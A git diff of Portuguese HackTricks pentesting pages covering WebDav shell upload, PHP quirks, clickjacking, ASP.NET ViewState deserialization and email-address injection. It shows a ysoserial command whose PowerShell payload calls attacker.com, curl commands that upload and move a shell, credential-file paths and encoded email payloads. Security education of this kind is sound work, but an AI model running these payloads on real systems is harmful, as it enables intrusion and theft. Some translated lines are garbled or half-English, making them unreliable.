@@ -156,7 +156,7 @@ Verifique:
- **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código.
- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
-- Quando você tiver os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados.
+- Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados.
- [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
@@ -174,9 +174,9 @@ True
#### Causando erro após definir cabeçalhos
-A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
+Do [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
-Permitindo contornar, por exemplo, cabeçalhos CSP que estão sendo definidos em códigos como:
+Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
```php
```
-## Solicitação PUT
+## Requisição PUT
```
curl -T 'shell.txt' 'http://$ip'
```
-## Solicitação MOVE
+## MOVE request
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
-## Vulnerabilidade do WebDav IIS5/6
+## IIS5/6 WebDav Vulnerability
-Esta vulnerabilidade é muito interessante. O **WebDav** **não permite** **carregar** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **contornar** isso **adicionando** no final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também poderia **usar ".html" em vez de ".txt"**, mas **NÃO se esqueça do ";"**).
+Esta vulnerabilidade é muito interessante. O **WebDav** **não permite** **carregar** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **contornar** isso **adicionando** no final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também poderia **usar ".html" em vez de ".txt"** mas **NÃO se esqueça do ";"**).
-Então você pode **carregar** seu shell como um arquivo ".**txt" e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo através do servidor web, ele será **executado** (o cadaver dirá que a ação de mover não funcionou, mas funcionou).
+Então você pode **carregar** seu shell como um arquivo ".**txt"** e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo através do servidor web, ele será **executado** (o cadaver dirá que a ação de mover não funcionou, mas funcionou).
.png>)
-## Credenciais pós
+## Post credentials
-Se o Webdav estiver usando um servidor Apache, você deve verificar os sites configurados no Apache. Comumente:\
-\NAN;_**/etc/apache2/sites-enabled/000-default**_
+Se o Webdav estiver usando um servidor Apache, você deve olhar os sites configurados no Apache. Comumente:\
+\_**/etc/apache2/sites-enabled/000-default**_
-Dentro dele, você pode encontrar algo como:
+Dentro dele você poderia encontrar algo como:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
@@ -65,9 +65,9 @@ Como você pode ver, há os arquivos com as **credenciais** válidas para o serv
```
/etc/apache2/users.password
```
-Dentro deste tipo de arquivos, você encontrará o **username** e um **hash** da senha. Essas são as credenciais que o servidor webdav está usando para autenticar usuários.
+Dentro deste tipo de arquivos, você encontrará o **username** e um **hash** da senha. Estas são as credenciais que o servidor webdav está usando para autenticar usuários.
-Você pode tentar **crack**-á-los, ou **adicionar mais** se por algum motivo você quiser **acessar** o servidor **webdav**:
+Você pode tentar **crack** them, ou **add more** se por algum motivo você quiser **access** o servidor **webdav**:
```bash
htpasswd /etc/apache2/users.password #You will be prompted for the password
```
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index 36f62adc2..c9a326d0c 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -91,7 +91,7 @@ background: #F00;
Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **disparar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
Exemplo:\
-NAN;_You encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
+_You encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
\_\_Um atacante poderia preparar um **ataque Clickjacking** para essa página **preenchendo** o **formulário** com a **carga útil XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**.
## Estratégias para Mitigar Clickjacking
@@ -100,7 +100,7 @@ Exemplo:\
Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:
-- Garantir que a janela da aplicação seja a principal ou a superior.
+- Garantir que a janela da aplicação seja a principal ou a janela superior.
- Tornar todos os frames visíveis.
- Prevenir cliques em frames invisíveis.
- Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
@@ -155,7 +155,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
-#### Diretiva `child-src`
+#### Diretriz `child-src`
- Introduzida no nível 2 do CSP para definir fontes válidas para web workers e frames.
- Funciona como um fallback para frame-src e worker-src.
@@ -166,8 +166,8 @@ Esta política permite frames e workers da mesma origem (self) e https://trusted
**Notas de Uso:**
-- Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src.
-- Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
+- Descontinuação: child-src está sendo descontinuado em favor de frame-src e worker-src.
+- Comportamento de Retorno: Se frame-src estiver ausente, child-src é usado como um retorno para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.
#### Scripts de Quebra de Frame em JavaScript
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index f07c98119..ba725327c 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
+
+
## O que é ViewState
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.
@@ -19,7 +21,7 @@ As informações do ViewState podem ser caracterizadas pelas seguintes proprieda
A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo:
-1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há método aplicável para identificá-la.
+1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há um método aplicável para identificá-la.
2. Para **versões abaixo de 4.5**, se o MAC estiver ativado, mas a Criptografia não, uma MachineKey é necessária. O método para identificar a MachineKey é referido como "Blacklist3r."
3. Para **versões abaixo de 4.5**, independentemente de o MAC estar ativado ou desativado, se a Criptografia estiver ativada, uma MachineKey é necessária. Identificar a MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."
4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) necessitam de uma MachineKey. A MachineKey pode ser identificada usando "Blacklist3r."
@@ -36,10 +38,10 @@ Você pode tentar identificar se o ViewState está protegido por MAC capturando
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
-### Test case 1.5 – Como o Test case 1, mas o cookie ViewState não é enviado pelo servidor
+### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
Os desenvolvedores podem **remover ViewState** de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
-Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** contra quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
+Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** de quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
No entanto, esse não é o caso. Se adicionarmos o **parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**.
### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
@@ -59,7 +61,7 @@ Podemos também fazer isso para a **aplicação** **geral** configurando-o no ar
```
-Como o parâmetro é protegido por MAC, desta vez, para executar o ataque com sucesso, precisamos primeiro da chave utilizada.
+Como o parâmetro está protegido por MAC, desta vez, para executar o ataque com sucesso, precisamos primeiro da chave utilizada.
Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave utilizada.
```
@@ -68,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates do .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
+[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
Ele pode ser fornecido com o viewstate e o gerador diretamente:
```
@@ -104,19 +106,19 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
```bash
--apppath="/" --path="/hello.aspx"
```
-### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
+### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
-**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Sempre**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
+**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se um remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de diretórios, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
-### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
+### Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false, exceto ambos os atributos como false
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
```xml
@@ -153,7 +155,7 @@ Se você tiver o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâme

-Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState levará a uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
+Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Caso de Teste 6 – ViewStateUserKeys está sendo usado
@@ -171,10 +173,8 @@ Verifique [mais informações aqui]( $additional_parameters ]
```
#### O 5º parâmetro ($additional_parameters)
-Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controla**.
+Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controle**.
Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função `escapeshellcmd($additional_parameters)`.
@@ -62,7 +62,7 @@ Aqui estão alguns exemplos de diferentes páginas de manual do comando/interfac
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
-Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até executar comandos arbitrários**. Confira como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
+Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até mesmo executar comandos arbitrários**. Confira como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Injetar no nome do e-mail
@@ -98,14 +98,14 @@ Você também pode usar IPs como nomes de domínio entre colchetes:
Como explicado em [**esta pesquisa**](https://portswigger.net/research/splitting-the-email-atom), nomes de e-mail também podem conter caracteres codificados:
-- **PHP 256 overflow**: A função `chr` do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação `%256`.
+- **Overflow de PHP 256**: A função `chr` do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação `%256`.
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
> [!TIP]
> O objetivo deste truque é terminar com uma injeção como `RCPT TO:<"collab@psres.net>collab"@example.com>`\
> que enviará o e-mail de verificação para um endereço de e-mail diferente do esperado (portanto, introduzir outro endereço de e-mail dentro do nome do e-mail e quebrar a sintaxe ao enviar o e-mail).
-Codificações diferentes:
+Diferentes codificações:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
@@ -140,42 +140,42 @@ Payloads:
- Note o `@` codificado como =40, o `>` codificado como `=3e` e `null` como `=00`
- Ele enviará o e-mail de verificação para `collab@psres.net`
- Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
-- O mesmo truque de antes, mas adicionando uma citação regular no início e a citação codificada `=22` antes do `@` codificado e, em seguida, iniciando e fechando algumas citações antes do próximo e-mail para corrigir a sintaxe usada internamente pelo Zendesk
+- Mesma técnica de antes, mas adicionando uma citação regular no início e a citação codificada `=22` antes do `@` codificado e, em seguida, iniciando e fechando algumas citações antes do próximo e-mail para corrigir a sintaxe usada internamente pelo Zendesk
- Ele enviará o e-mail de verificação para `collab@psres.net`
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
- Note o uso do sublinhado como um espaço para separar o endereço
- Ele enviará o e-mail de verificação para `collab@psres.net`
- Punycode: Usando Punycode, foi possível injetar uma tag `